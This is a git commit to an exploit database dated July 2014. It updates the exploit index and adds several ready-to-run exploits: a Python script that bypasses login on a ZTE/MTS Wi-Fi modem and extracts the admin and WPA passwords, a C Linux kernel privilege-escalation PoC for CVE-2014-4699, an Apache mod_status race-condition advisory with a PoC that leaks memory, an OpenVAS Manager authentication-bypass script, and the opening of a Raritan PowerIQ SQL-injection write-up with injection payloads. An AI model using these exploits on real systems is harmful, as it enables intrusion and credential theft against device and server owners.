Updated 07_23_2014

This commit is contained in:
Offensive Security 2014-07-23 04:39:44 +00:00
parent b98d02460d
commit 2ea55e459e
14 changed files with 1989 additions and 1 deletions

View file

@ -16855,7 +16855,7 @@ id,file,description,date,author,platform,type,port
19521,platforms/windows/remote/19521.txt,"MS IE 5.0/4.0.1 hhopen OLE Control Buffer Overflow Vulnerability",1999-09-27,"Shane Hird",windows,remote,0
19522,platforms/linux/remote/19522.txt,"Linux kernel 2.2 Predictable TCP Initial Sequence Number Vulnerability",1999-09-27,"Stealth and S. Krahmer",linux,remote,0
19523,platforms/linux/local/19523.txt,"python-wrapper Untrusted Search Path/Code Execution Vulnerability",2012-07-02,ShadowHatesYou,linux,local,0
19524,platforms/php/webapps/19524.txt,"WordPress Backup Plugin 2.0.1 Information Disclosure",2012-07-02,"Stephan Knauss",php,webapps,0
19524,platforms/php/webapps/19524.txt,"WordPress Backup Plugin 2.0.1 - Information Disclosure",2012-07-02,"Stephan Knauss",php,webapps,0
19525,platforms/windows/webapps/19525.txt,"IIS Short File/Folder Name Disclosure",2012-07-02,"Soroush Dalili",windows,webapps,0
19526,platforms/hardware/webapps/19526.rb,"WANGKONGBAO CNS-1000 UTM IPS-FW Directory Traversal",2012-07-02,"Dillon Beresford",hardware,webapps,0
19528,platforms/windows/local/19528.txt,"MS IE 4.1/5.0 Registration Wizard Buffer Overflow",1999-09-27,"Shane Hird",windows,local,0
@ -30481,6 +30481,7 @@ id,file,description,date,author,platform,type,port
33833,platforms/php/webapps/33833.txt,"Blog System 1.x Multiple Input Validation Vulnerabilities",2010-04-12,"cp77fk4r ",php,webapps,0
33834,platforms/php/webapps/33834.txt,"Vana CMS 'filename' Parameter Remote File Download Vulnerability",2010-04-13,"Pouya Daneshmand",php,webapps,0
33835,platforms/php/webapps/33835.txt,"AneCMS 1.0 Multiple Local File Include Vulnerabilities",2010-04-12,"AmnPardaz Security Research Team",php,webapps,0
33836,platforms/windows/shellcode/33836.txt,"Windows All Versions - Add Admin User Shellcode (194 bytes)",2014-06-22,"Giuseppe D'Amore",windows,shellcode,0
33838,platforms/windows/dos/33838.py,"Mocha W32 LPD 1.9 Remote Buffer Overflow Vulnerability",2010-04-15,mr_me,windows,dos,0
33839,platforms/multiple/remote/33839.txt,"Oracle E-Business Suite Financials 12 'jtfwcpnt.jsp' SQL Injection Vulnerability",2010-04-15,"Joxean Koret",multiple,remote,0
33840,platforms/asp/webapps/33840.txt,"Ziggurrat Farsi CMS 'bck' Parameter Directory Traversal Vulnerability",2010-04-15,"Pouya Daneshmand",asp,webapps,0
@ -30631,6 +30632,7 @@ id,file,description,date,author,platform,type,port
34007,platforms/php/webapps/34007.txt,"Dolibarr CMS 3.5.3 - Multiple Security Vulnerabilities",2014-07-08,"Deepak Rathore",php,webapps,0
34008,platforms/php/webapps/34008.txt,"Percha Multicategory Article Component 0.6 for Joomla! index.php controller Parameter Arbitrary File Access",2010-05-19,AntiSecurity,php,webapps,0
34009,platforms/windows/remote/34009.rb,"Yokogawa CS3000 BKFSim_vhfd.exe Buffer Overflow",2014-07-08,metasploit,windows,remote,20010
34010,platforms/win32/dos/34010.html,"Internet Explorer 9/10 - CFormElement Use-After-Free and Memory Corruption PoC (MS14-035)",2014-07-08,"Drozdova Liudmila",win32,dos,0
34011,platforms/php/webapps/34011.txt,"Shopzilla Affiliate Script PHP 'search.php' Cross Site Scripting Vulnerability",2010-05-19,"Andrea Bocchetti",php,webapps,0
34012,platforms/php/webapps/34012.txt,"Caucho Resin Professional 3.1.5 'resin-admin/digest.php' Multiple Cross Site Scripting Vulnerabilities",2010-05-19,xuanmumu,php,webapps,0
34013,platforms/windows/remote/34013.txt,"McAfee Email Gateway 6.7.1 'systemWebAdminConfig.do' Remote Security Bypass Vulnerability",2010-05-19,"Nahuel Grisolia",windows,remote,0
@ -30644,6 +30646,7 @@ id,file,description,date,author,platform,type,port
34023,platforms/php/webapps/34023.txt,"Lisk CMS 4.4 'id' Parameter Multiple Cross Site Scripting and SQL Injection Vulnerabilities",2010-05-20,"High-Tech Bridge SA",php,webapps,0
34024,platforms/php/webapps/34024.txt,"Triburom 'forum.php' Cross Site Scripting Vulnerability",2010-01-15,"ViRuSMaN ",php,webapps,0
34025,platforms/php/webapps/34025.txt,"C99.php Shell - Authentication Bypass",2014-07-10,Mandat0ry,php,webapps,0
34026,platforms/linux/remote/34026.py,"OpenVAS Manager 4.0 - Authentication Bypass Vulnerability PoC",2014-07-10,EccE,linux,remote,0
34027,platforms/solaris/dos/34027.txt,"Sun Solaris 10 Nested Directory Tree Local Denial of Service Vulnerability",2010-05-21,"Maksymilian Arciemowicz",solaris,dos,0
34028,platforms/solaris/dos/34028.txt,"Sun Solaris 10 'in.ftpd' Long Command Handling Security Vulnerability",2010-05-21,"Maksymilian Arciemowicz",solaris,dos,0
34029,platforms/php/webapps/34029.txt,"Specialized Data Systems Parent Connect 2010.04.11 Multiple SQL Injection Vulnerabilities",2010-05-21,epixoip,php,webapps,0
@ -30709,12 +30712,14 @@ id,file,description,date,author,platform,type,port
34100,platforms/php/webapps/34100.txt,"Omeka 2.2 - CSRF And Stored XSS Vulnerability",2014-07-17,LiquidWorm,php,webapps,80
34102,platforms/linux/dos/34102.py,"ACME micro_httpd - Denial of Service",2014-07-18,"Yuval tisf Nativ",linux,dos,80
34103,platforms/cgi/webapps/34103.txt,"Barracuda Networks Message Archiver 650 - Persistent XSS Vulnerability",2014-07-18,Vulnerability-Lab,cgi,webapps,3378
34105,platforms/php/webapps/34105.txt,"Wordpress Plugin Gallery Objects 0.4 - SQL Injection",2014-07-18,"Claudio Viviani",php,webapps,80
34106,platforms/php/webapps/34106.txt,"cPanel 11.25 Image Manager 'target' Parameter Local File Include Vulnerability",2010-06-07,"AnTi SeCuRe",php,webapps,0
34107,platforms/php/webapps/34107.txt,"boastMachine 3.1 'key' Parameter Cross Site Scripting Vulnerability",2010-06-07,"High-Tech Bridge SA",php,webapps,0
34108,platforms/java/webapps/34108.txt,"PRTG Traffic Grapher 6.2.1 'url' Parameter Cross Site Scripting Vulnerability",2009-01-08,"Patrick Webster",java,webapps,0
34109,platforms/php/webapps/34109.html,"log1 CMS 2.0 Session Handling Remote Security Bypass and Remote File Include Vulnerabilities",2010-06-03,"High-Tech Bridge SA",php,webapps,0
34110,platforms/php/webapps/34110.txt,"PG Auto Pro SQL Injection and Cross Site Scripting Vulnerabilities",2010-06-09,Sid3^effects,php,webapps,0
34111,platforms/multiple/webapps/34111.txt,"GREEZLE - Global Real Estate Agent Login Multiple SQL Injection Vulnerabilities",2010-06-09,"L0rd CrusAd3r",multiple,webapps,0
34112,platforms/windows/local/34112.txt,"Microsoft XP SP3 MQAC.sys - Arbitrary Write Privilege Escalation",2014-07-19,KoreLogic,windows,local,0
34113,platforms/php/webapps/34113.py,"SilverStripe CMS 2.4 File Renaming Security Bypass Vulnerability",2010-06-09,"John Leitch",php,webapps,0
34114,platforms/php/webapps/34114.txt,"Joomla! JReservation Component Cross Site Scripting Vulnerability",2010-06-09,Sid3^effects,php,webapps,0
34115,platforms/windows/remote/34115.txt,"McAfee Unified Threat Management Firewall 4.0.6 'page' Parameter Cross Site Scripting Vulnerability",2010-06-07,"Adam Baldwin",windows,remote,0
@ -30724,5 +30729,13 @@ id,file,description,date,author,platform,type,port
34119,platforms/php/webapps/34119.txt,"Bits Video Script 2.04/2.05 addvideo.php File Upload Arbitrary PHP Code Execution",2010-01-18,indoushka,php,webapps,0
34120,platforms/php/webapps/34120.txt,"Bits Video Script 2.04/2.05 register.php File Upload Arbitrary PHP Code Execution",2010-01-18,indoushka,php,webapps,0
34121,platforms/php/webapps/34121.txt,"Bits Video Script 2.04/2.05 'search.php' Cross Site Scripting Vulnerability",2010-01-18,indoushka,php,webapps,0
34124,platforms/php/webapps/34124.txt,"Wordpress WP BackupPlus - Database And Files Backup Download (0day)",2014-07-20,pSyCh0_3D,php,webapps,0
34126,platforms/windows/remote/34126.txt,"Microsoft Help and Support Center 'sysinfo/sysinfomain.htm' Cross Site Scripting Weakness",2010-06-10,"Tavis Ormandy",windows,remote,0
34127,platforms/php/webapps/34127.txt,"Arab Portal 2.2 'members.php' SQL Injection Vulnerability",2010-06-10,SwEET-DeViL,php,webapps,0
34128,platforms/hardware/webapps/34128.py,"MTS MBlaze Ultra Wi-Fi / ZTE AC3633 - Multiple Vulnerabilities",2014-07-21,"Ajin Abraham",hardware,webapps,80
34129,platforms/windows/dos/34129.txt,"World Of Warcraft 3.3.5a (macros-cache.txt) - Stack Overflow",2014-07-21,"Alireza Chegini",windows,dos,0
34130,platforms/linux/webapps/34130.rb,"Raritan PowerIQ 4.1.0 - SQL Injection Vulnerability",2014-07-21,"Brandon Perry",linux,webapps,80
34132,platforms/php/remote/34132.txt,"IBM GCM16/32 1.20.0.22575 - Multiple Vulnerabilities",2014-07-21,"Alejandro Alvarez Bravo",php,remote,443
34133,platforms/linux/dos/34133.txt,"Apache 2.4.7 mod_status Scoreboard Handling Race Condition",2014-07-21,"Marek Kroemeke",linux,dos,0
34134,platforms/lin_amd64/local/34134.c,"Linux Kernel ptrace/sysret - Local Privilege Escalation",2014-07-21,"Vitaly Nikolenko",lin_amd64,local,0
34135,platforms/windows/dos/34135.py,"DjVuLibre <= 3.5.25.3 - Out of Bounds Access Violation",2014-07-22,drone,windows,dos,0

Can't render this file because it is too large.

View file

@ -0,0 +1,81 @@
#Author: Ajin Abraham - xboz
#http://opensecurity.in
#Product MTS MBlaze 3G Wi-Fi Modem
#System Version 107
#Manufacturer ZTE
#Model AC3633
import requests
import os
import urllib2
print "MTS MBlaze Ultra Wi-Fi / ZTE AC3633 Exploit"
print "Vulnerabilities"
print "Login Bypass | Router Credential Stealing | Wi-Fi Password Stealing | CSRF | Reset Password without old password and Session\n"
url='http://192.168.1.1'
def find_between( s, first, last ):
try:
start = s.index( first ) + len( first )
end = s.index( last, start )
return s[start:end]
except ValueError:
return ""
#Vulnerable Static Cookies
cookies = dict(iusername='logined')
#Login Bypass
login_url = url+'/en/index.asp'
print "\nAttempting Login :"+url
print '================='
try:
response=urllib2.urlopen(url,timeout=1)
except:
print "Cannot Reach : "+url
exit
r = requests.get(login_url, cookies=cookies)
print 'Status : ' + str(r.status_code)
if "3g.asp" in r.text:
print "Login Sucessfull!"
#Information Gathering
print "\nInformation"
print "========="
info_url=url+'/en/3g.asp'
i= requests.get(info_url, cookies=cookies)
ip=find_between(i.text,'"g3_ip" disabled="disabled" style="background:#ccc;" size="16" maxlength="15" value="','"></td>')
subnet =find_between(i.text,'"g3_mask" disabled="disabled" style="background:#ccc;" size="16" maxlength="15" value="','"></td>')
gateway=find_between(i.text,'"g3_gw" disabled="disabled" style="background:#ccc;" size="16" maxlength="15" value="','"></td>')
print "IP : " +ip
print "Subnet : "+subnet
print "Gateway : " +gateway
#Steal Login Password
print "\nStealing Router Login Credentials"
print "======================"
login_pwd_url=url+'/en/password.asp'
p = requests.get(login_pwd_url, cookies=cookies)
print 'Status : ' + str(p.status_code)
print 'Username : admin' #default
passwd=find_between(p.text,'id="sys_password" value="','"/>')
print 'Password : '+ passwd
print '\nExtracting WPA/WPA2 PSK Key'
print '================='
#Wi-Fi Password Extraction
wifi_pass_url=url+'/en/wifi_security.asp'
s = requests.get(wifi_pass_url, cookies=cookies)
print 'Status: ' + str(s.status_code)
wpa=find_between(s.text,"wpa_psk_key]').val('","');")
wep=find_between(s.text,"wep_key]').val('","');")
print "WPA/WPA2 PSK : " + wpa
print "WEP Key : " + wep
print "\nOther Vulnerabilities"
print "======================="
print "\n1.Cross Site Request Forgery in:\n\nhttp://192.168.1.1/en/dhcp_reservation.asp\nhttp://192.168.1.1/en/mac_filter.asp \nhttp://192.168.1.1/en/password.asp"
print "\n2.Password Reset without old password and Session"
print """
POST /goform/formSyWebCfg HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://192.168.1.1/en/password.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8,es;q=0.6,ms;q=0.4
Content-Length: 52
action=Apply&sys_cfg=changed&sys_password=mblazetestpassword
"""

125
platforms/lin_amd64/local/34134.c Executable file
View file

@ -0,0 +1,125 @@
/**
* CVE-2014-4699 ptrace/sysret PoC
* by Vitaly Nikolenko
* vnik@hashcrack.org
*
* > gcc -O2 poc_v0.c
*
* This code is kernel specific. On Ubuntu 12.04.0 LTS (3.2.0-23-generic), the
* following will trigger the #GP in sysret and overwrite the #PF handler so we
* can land to our NOP sled mapped at 0x80000000.
* However, once landed, the IDT will be trashed. We can either attempt to
* restore it (then escalate privileges and execute our shellcode) or find
* something else to overwrite that would transfer exec flow to our controlled
* user-space address. Since 3.10.something, IDT is read-only anyway. If you
* have any ideas, let me know.
*/
#include <stdio.h>
#include <stdint.h>
#include <assert.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <sys/user.h>
#include <unistd.h>
#include <sys/mman.h>
#include <errno.h>
#define SIZE 0x10000000
typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred);
unsigned long __user_cs;
unsigned long __user_ss;
unsigned long __user_rflags;
void __attribute__((regparm(3))) payload() {
uint32_t *fixptr = (void*)0xffffffff81dd70e8;
// restore the #PF handler
*fixptr = -1;
//commit_creds_fn commit_creds = (commit_creds_fn)0xffffffff81091630;
//prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)0xffffffff810918e0;
//commit_creds(prepare_kernel_cred((uint64_t)NULL));
//__asm__ volatile ("swapgs\n\t"
// "...");
}
int main() {
struct user_regs_struct regs;
uint8_t *trampoline, *tmp;
int status;
struct {
uint16_t limit;
uint64_t addr;
} __attribute__((packed)) idt;
// MAP_POPULATE so we don't trigger extra #PF
trampoline = mmap(0x80000000, SIZE, 7|PROT_EXEC|PROT_READ|PROT_WRITE, 0x32|MAP_FIXED|MAP_POPULATE|MAP_GROWSDOWN, 0,0);
assert(trampoline == 0x80000000);
memset(trampoline, 0x90, SIZE);
tmp = trampoline;
tmp += SIZE-1024;
memcpy(tmp, &payload, 1024);
memcpy(tmp-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", 13);
pid_t chld;
if ((chld = fork()) < 0) {
perror("fork");
exit(1);
}
if (chld == 0) {
if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0) {
perror("PTRACE_TRACEME");
exit(1);
}
raise(SIGSTOP);
fork();
return 0;
}
asm volatile("sidt %0" : "=m" (idt));
printf("IDT addr = 0x%lx\n", idt.addr);
waitpid(chld, &status, 0);
ptrace(PTRACE_SETOPTIONS, chld, 0, PTRACE_O_TRACEFORK);
ptrace(PTRACE_CONT, chld, 0, 0);
waitpid(chld, &status, 0);
ptrace(PTRACE_GETREGS, chld, NULL, &regs);
regs.rdi = 0x0000000000000000;
regs.rip = 0x8fffffffffffffff;
regs.rsp = idt.addr + 14*16 + 8 + 0xb0 - 0x78;
// attempt to restore the IDT
regs.rdi = 0x0000000000000000;
regs.rsi = 0x81658e000010cbd0;
regs.rdx = 0x00000000ffffffff;
regs.rcx = 0x81658e000010cba0;
regs.rax = 0x00000000ffffffff;
regs.r8 = 0x81658e010010cb00;
regs.r9 = 0x00000000ffffffff;
regs.r10 = 0x81668e0000106b10;
regs.r11 = 0x00000000ffffffff;
regs.rbx = 0x81668e0000106ac0;
regs.rbp = 0x00000000ffffffff;
regs.r12 = 0x81668e0000106ac0;
regs.r13 = 0x00000000ffffffff;
regs.r14 = 0x81668e0200106a90;
regs.r15 = 0x00000000ffffffff;
ptrace(PTRACE_SETREGS, chld, NULL, &regs);
ptrace(PTRACE_CONT, chld, 0, 0);
ptrace(PTRACE_DETACH, chld, 0, 0);
}

394
platforms/linux/dos/34133.txt Executable file
View file

@ -0,0 +1,394 @@
--[ 0. Sparse summary
Race condition between updating httpd's "scoreboard" and mod_status,
leading to several critical scenarios like heap buffer overflow with
user
supplied payload and leaking heap which can leak critical memory
containing
htaccess credentials, ssl certificates private keys and so on.
--[ 1. Prerequisites
Apache httpd compiled with MPM event or MPM worker.
The tested version was 2.4.7 compiled with:
./configure --enable-mods-shared=reallyall --with-included-apr
The tested mod_status configuration in httpd.conf was:
SetHandler server-status
ExtendedStatus On
--[ 2. Race Condition
Function ap_escape_logitem in server/util.c looks as follows:
1908AP_DECLARE(char *) ap_escape_logitem(apr_pool_t *p, const char
*str)
1909{
1910 char *ret;
1911 unsigned char *d;
1912 const unsigned char *s;
1913 apr_size_t length, escapes = 0;
1914
1915 if (!str) {
1916 return NULL;
1917 }
1918
1919 /* Compute how many characters need to be escaped */
1920 s = (const unsigned char *)str;
1921 for (; *s; ++s) {
1922 if (TEST_CHAR(*s, T_ESCAPE_LOGITEM)) {
1923 escapes++;
1924 }
1925 }
1926
1927 /* Compute the length of the input string, including NULL
*/
1928 length = s - (const unsigned char *)str + 1;
1929
1930 /* Fast path: nothing to escape */
1931 if (escapes == 0) {
1932 return apr_pmemdup(p, str, length);
1933 }
In the for-loop between 1921 and 1925 lines function is computing the
length of
supplied str (almost like strlen, but additionally it counts special
characters
which need to be escaped). As comment in 1927 value says, function
computes count
of bytes to copy. If there's nothing to escape function uses
apr_pmemdup to duplicate
the str. In our single-threaded mind everything looks good, but tricky
part starts
when we introduce multi-threading. Apache in MPM mode runs workers as
threads, let's
consider the following scenario:
1) ap_escape_logitem(pool, "") is called
2) for-loop in 1921 line immediately escapes, because *s is in
first loop run
3) malicious thread change memory under *s to another value
(something which is not )
4) apr_pmemdup copies that change value to new string and returns
it
Output from the ap_escape_logitem is considered to be a string, if
scenario above would occur,
then returned string would not be zeroed at the end, which may be
harmful. The mod_status
code looks as follows:
833 ap_rprintf(r, "%s%s"
834 "%snn",
835 ap_escape_html(r->pool,
836
ws_record->client),
837 ap_escape_html(r->pool,
838
ws_record->vhost),
839 ap_escape_html(r->pool,
840
ap_escape_logitem(r->pool,
841
ws_record->request)));
The relevant call to ap_escape_html() is at line 839 after the
evaluation of ap_escape_logitem().
The first argument passed to the ap_escape_logitem() is in fact an apr
pool associated with
the HTTP request and defined in the request_rec structure.
This code is a part of a larger for-loop where code is iterating over
worker_score structs which is
defined as follows:
90struct worker_score {
91#if APR_HAS_THREADS
92 apr_os_thread_t tid;
93#endif
94 int thread_num;
95 /* With some MPMs (e.g., worker), a worker_score can
represent
96 * a thread in a terminating process which is no longer
97 * represented by the corresponding process_score. These
MPMs
98 * should set pid and generation fields in the worker_score.
99 */
100 pid_t pid;
101 ap_generation_t generation;
102 unsigned char status;
103 unsigned short conn_count;
104 apr_off_t conn_bytes;
105 unsigned long access_count;
106 apr_off_t bytes_served;
107 unsigned long my_access_count;
108 apr_off_t my_bytes_served;
109 apr_time_t start_time;
110 apr_time_t stop_time;
111 apr_time_t last_used;
112#ifdef HAVE_TIMES
113 struct tms times;
114#endif
115 char client[40]; /* Keep 'em small... but large
enough to hold an IPv6 address */
116 char request[64]; /* We just want an idea... */
117 char vhost[32]; /* What virtual host is being
accessed? */
118};
The 'request' field in a worker_score structure is particularly
interesting - this field can be changed inside
the copy_request function, which is called by the
update_child_status_internal. This change may occur when the
mod_status is iterating over the workers at the same time the
ap_escape_logitem is called within a different
thread, leading to a race condition. We can trigger this exact
scenario in order to return a string without a
trailing . This can be achived by running two clients, one triggering
the mod_status handler and second
sending random requests to the web server. Let's consider the
following example:
1) the mod_status iterates over workers invoking
update_child_status_internal()
2) at some point for one worker mod_status calls
ap_escape_logitem(pool, ws_record->request)
3) let's asume that ws_record->request at the beginning is ""
literally at the first byte.
4) inside the ap_escape_logitem function the length of the
ws_record->request is computed, which is 1
(an empty string consisting of )
5) another thread modifies ws_record->request (in fact it's called
ws->request in update_child_status_internal
function but it's exactly the same location in memory) and puts
there i.e. "GET / HTTP/1.0"
6) the ap_pmemdup(pool, str, 1) in ap_escape_logitem copies the
first one byte from "GET / HTTP/1.0" - "G" in
that case and returns it. The ap_pmemdup looks as follows:
112APR_DECLARE(void *) apr_pmemdup(apr_pool_t *a, const void
*m, apr_size_t n)
113{
114 void *res;
115
116 if (m == NULL)
117 return NULL;
118 res = apr_palloc(a, n);
119 memcpy(res, m, n);
120 return res;
It allocates memory using apr_palloc function which returns
"ditry" memory (note that apr_pcalloc overwrite
allocated memory with NULs).
So it's non-deterministic what's after the copied "G" byte.
There might be or might be not. For now let's
assume that the memory allocated by apr_palloc was dirty
(containing random bytes).
7) ap_escape_logitem returns "G....." .junk. ""
The value from the example above is then pushed to the ap_escape_html2
function which is also declared in util.c:
1860AP_DECLARE(char *) ap_escape_html2(apr_pool_t *p, const char
*s, int toasc)
1861{
1862 int i, j;
1863 char *x;
1864
1865 /* first, count the number of extra characters */
1866 for (i = 0, j = 0; s[i] != ''; i++)
1867 if (s[i] == '')
1868 j += 3;
1869 else if (s[i] == '&')
1870 j += 4;
1871 else if (s[i] == '"')
1872 j += 5;
1873 else if (toasc && !apr_isascii(s[i]))
1874 j += 5;
1875
1876 if (j == 0)
1877 return apr_pstrmemdup(p, s, i);
1878
1879 x = apr_palloc(p, i + j + 1);
1880 for (i = 0, j = 0; s[i] != ''; i++, j++)
1881 if (s[i] == '') {
1886 memcpy(&x[j], ">", 4);
1887 j += 3;
1888 }
1889 else if (s[i] == '&') {
1890 memcpy(&x[j], "&", 5);
1891 j += 4;
1892 }
1893 else if (s[i] == '"') {
1894 memcpy(&x[j], """, 6);
1895 j += 5;
1896 }
1897 else if (toasc && !apr_isascii(s[i])) {
1898 char *esc = apr_psprintf(p, "&#%3.3d;", (unsigned
char)s[i]);
1899 memcpy(&x[j], esc, 6);
1900 j += 5;
1901 }
1902 else
1903 x[j] = s[i];
1904
1905 x[j] = '';
1906 return x;
1907}
If the string from the example above would be passed to this function
we should get the following code-flow:
1) in the for-loop started in line 1866 we count the length of
escaped string
2) because 's' string contains junk (due to only one byte being
allocated by the apr_palloc function),
it may contain '>' character. Let's assume that this is our
case
3) after for-loop in 1866 line 'j' is greater than 0 (at least one
s[i] equals '>' as assumed above
4) in the 1879 line memory for escaped 'd' string is allocated
5) for-loop started in line 1880 copies string 's' to the escaped
'd' string BUT apr_palloc has allocated
only one byte for 's'. Thus, for each i > 0 the loop reads
random memory and copies that value
to 'd' string. At this point it's possible to trigger an
information leak vulnerability (see section 5).
However the 's' string may overlap with 'd' i.e.:
's' is allocated under 0 with contents s = "AAAAAAAA>"
'd' is allocated under 8 then s[8] = d[0].
If that would be the case, then for-loop would run forever (s[i] never
would be since it was overwritten in the loop
by non-zero). Forever... until it hits an unmapped memory or read only
area.
Part of the scoreboard.c code which may overwrite the
ws_record->request was discovered using a tsan:
#1 ap_escape_logitem ??:0 (exe+0x0000000411f2)
#2 status_handler
/home/akat-1/src/httpd-2.4.7/modules/generators/mod_status.c:839
(mod_status.so+0x0000000044b0)
#3 ap_run_handler ??:0 (exe+0x000000084d98)
#4 ap_invoke_handler ??:0 (exe+0x00000008606e)
#5 ap_process_async_request ??:0 (exe+0x0000000b7ed9)
#6 ap_process_http_async_connection http_core.c:0
(exe+0x0000000b143e)
#7 ap_process_http_connection http_core.c:0 (exe+0x0000000b177f)
#8 ap_run_process_connection ??:0 (exe+0x00000009d156)
#9 process_socket event.c:0 (exe+0x0000000cc65e)
#10 worker_thread event.c:0 (exe+0x0000000d0945)
#11 dummy_worker thread.c:0 (libapr-1.so.0+0x00000004bb57)
#12 :0 (libtsan.so.0+0x00000001b279)
Previous write of size 1 at 0x7feff2b862b8 by thread T2:
#0 update_child_status_internal scoreboard.c:0
(exe+0x00000004d4c6)
#1 ap_update_child_status_from_conn ??:0 (exe+0x00000004d693)
#2 ap_process_http_async_connection http_core.c:0
(exe+0x0000000b139a)
#3 ap_process_http_connection http_core.c:0 (exe+0x0000000b177f)
#4 ap_run_process_connection ??:0 (exe+0x00000009d156)
#5 process_socket event.c:0 (exe+0x0000000cc65e)
#6 worker_thread event.c:0 (exe+0x0000000d0945)
#7 dummy_worker thread.c:0 (libapr-1.so.0+0x00000004bb57)
#8 :0 (libtsan.so.0+0x00000001b279)
--[ 3. Consequences
Race condition described in section 2, may lead to:
- information leak in case when the string returned by
ap_escape_logitem is not at the end,
junk after copied bytes may be valuable
- overwriting heap with a user supplied value which may imply code
execution
--[ 4. Exploitation
In order to exploit the heap overflow bug it's necessary to get
control over:
1) triggering the race-condition bug
2) allocating 's' and 'd' strings in the ap_escape_html2 to overlap
3) part of 's' which doesn't overlap with 'd' (this string is copied
over and over again)
4) overwriting the heap in order to get total control over the cpu or
at least modify the
apache's handler code flow for our benefits
--[ 5. Information Disclosure Proof of Concept
-- cut
#! /usr/bin/env python
import httplib
import sys
import threading
import subprocess
import random
def send_request(method, url):
try:
c = httplib.HTTPConnection('127.0.0.1', 80)
c.request(method,url);
if "foo" in url:
print c.getresponse().read()
c.close()
except Exception, e:
print e
pass
def mod_status_thread():
while True:
send_request("GET", "/foo?notables")
def requests():
evil = ''.join('A' for i in range(random.randint(0, 1024)))
while True:
send_request(evil, evil)
threading.Thread(target=mod_status_thread).start()
threading.Thread(target=requests).start()
-- cut
Below are the information leak samples gathered by running the poc
against the
testing Apache instance. Leaks include i.e. HTTP headers, htaccess
content,
httpd.conf content etc. On a live systems with a higher traffic
samples should
be way more interesting.
$ ./poc.py | grep "" |grep -v AAAA | grep -v "{}"| grep -v notables
127.0.0.1 {A} []
127.0.0.1 {A.01 cu0 cs0
127.0.0.1 {A27.0.0.1} []
127.0.0.1 {A|0|10 [Dead] u.01 s.01 cu0 cs0
127.0.0.1 {A
Û []
127.0.0.1 {A HTTP/1.1} []
127.0.0.1 {Ab><br />
127.0.0.1 {AAA}</i> <b>[127.0.1.1:19666]</b><br
/>
127.0.0.1 {A0.1.1:19666]</b><br />
127.0.0.1 {A§} []
127.0.0.1 {A cs0
127.0.0.1 {Adentity
127.0.0.1 {A HTTP/1.1} []
127.0.0.1 {Ape: text/html; charset=ISO-8859-1
127.0.0.1 {Ahome/IjonTichy/httpd-2.4.7-vanilla/htdocs/} []
127.0.0.1 {Aÿÿÿÿÿÿÿ} []
127.0.0.1 {Aanilla/htdocs/foo} []
127.0.0.1 {A0n/httpd-2.4.7-vanilla/htdocs/foo/} []
127.0.0.1 {A......................................... } []
127.0.0.1 {A-2014 16:23:30 CEST} []
127.0.0.1 {Acontent of htaccess
127.0.0.1 {Aver: Apache/2.4.7 (Unix)
127.0.0.1 {Aroxy:balancer://mycluster} []
We hope you enjoyed it.
Regards,
Marek Kroemeke, AKAT-1 and 22733db72ab3ed94b5f8a1ffcde850251fe6f466

75
platforms/linux/remote/34026.py Executable file
View file

@ -0,0 +1,75 @@
#!/usr/bin/python
# Exploit Title: OpenVAS Manager 4.0 Authentication Bypass Vulnerability PoC
# Date: 09/07/2014
# Exploit Author: EccE
# Vendor Homepage: http://www.openvas.org/
# Software Link: http://wald.intevation.org/frs/?group_id=29
# Version: OpenVAS Manager 4.0
# Tested on: Debian GNU/Linux testing (jessie)
# CVE : CVE-2013-6765
"""
Small list of working commands
get_agents
get_configs
get_alerts
get_filters
get_lsc_credentials
get_notes
get_nvts
get_targets
get_users
get_schedules
More commands (~70 commands) can be found directly in the omc.c file. Not all of them are working though.
As designed in OMP protocol, commands must be sent this way : <COMMAND/>
"""
import socket, ssl
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Require a certificate from the server. We used a self-signed certificate
# so here cacerts.pem must be the server certificate itself.
ssl_sock = ssl.wrap_socket(s,
ca_certs="/var/lib/openvas/CA/cacert.pem",
cert_reqs=ssl.CERT_REQUIRED)
# OpenVAS Manager listen by default on localhost tcp/9390
ssl_sock.connect(('localhost', 9390))
print "#################################################################"
print "# Proof of Concept - OpenVAS Manager 4.0 Authentication Bypass #"
print "#################################################################"
print "\n"
print "--> Retrieving version...(exploiting the bug !)\n"
ssl_sock.write("<get_version/>")
data = ssl_sock.read()
print data
print "\n"
print "--> Retrieving slaves...\n"
ssl_sock.write("<get_slaves/>")
tasks = ssl_sock.read()
print tasks
print "\n"
"""
print "--> Creating note...\n"
ssl_sock.write("<create_note/>")
note = ssl_sock.read()
print note
print "--> Retrieving users list...\n"
ssl_sock.write("<get_users/>")
users_list = ssl_sock.read()
print users_list
"""
ssl_sock.close()

572
platforms/linux/webapps/34130.rb Executable file
View file

@ -0,0 +1,572 @@
=begin
Raritan PowerIQ suffers from an unauthenticated SQL injection vulnerability
within an endpoint used during initial configuration of the licensing for
the product. This endpoint is still available after the appliance has been
fully configured.
POST /license/records HTTP/1.1
Host: 192.168.1.11
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0)
Gecko/20100101 Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: https://192.168.1.11/license
Content-Length: 15
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
sort=id&dir=ASC
Both the 'sort' and 'dir' parameters are vulnerable.
sqlmap identified the following injection points with a total of 1173
HTTP(s) requests:
---
Place: POST
Parameter: sort
Type: boolean-based blind
Title: Generic boolean-based blind - GROUP BY and ORDER BY clauses
Payload: sort=id,(SELECT (CASE WHEN (6357=6357) THEN 1 ELSE 1/(SELECT
0) END))&dir=ASC
Type: stacked queries
Title: PostgreSQL > 8.1 stacked queries
Payload: sort=id; SELECT PG_SLEEP(5)--&dir=ASC
Type: AND/OR time-based blind
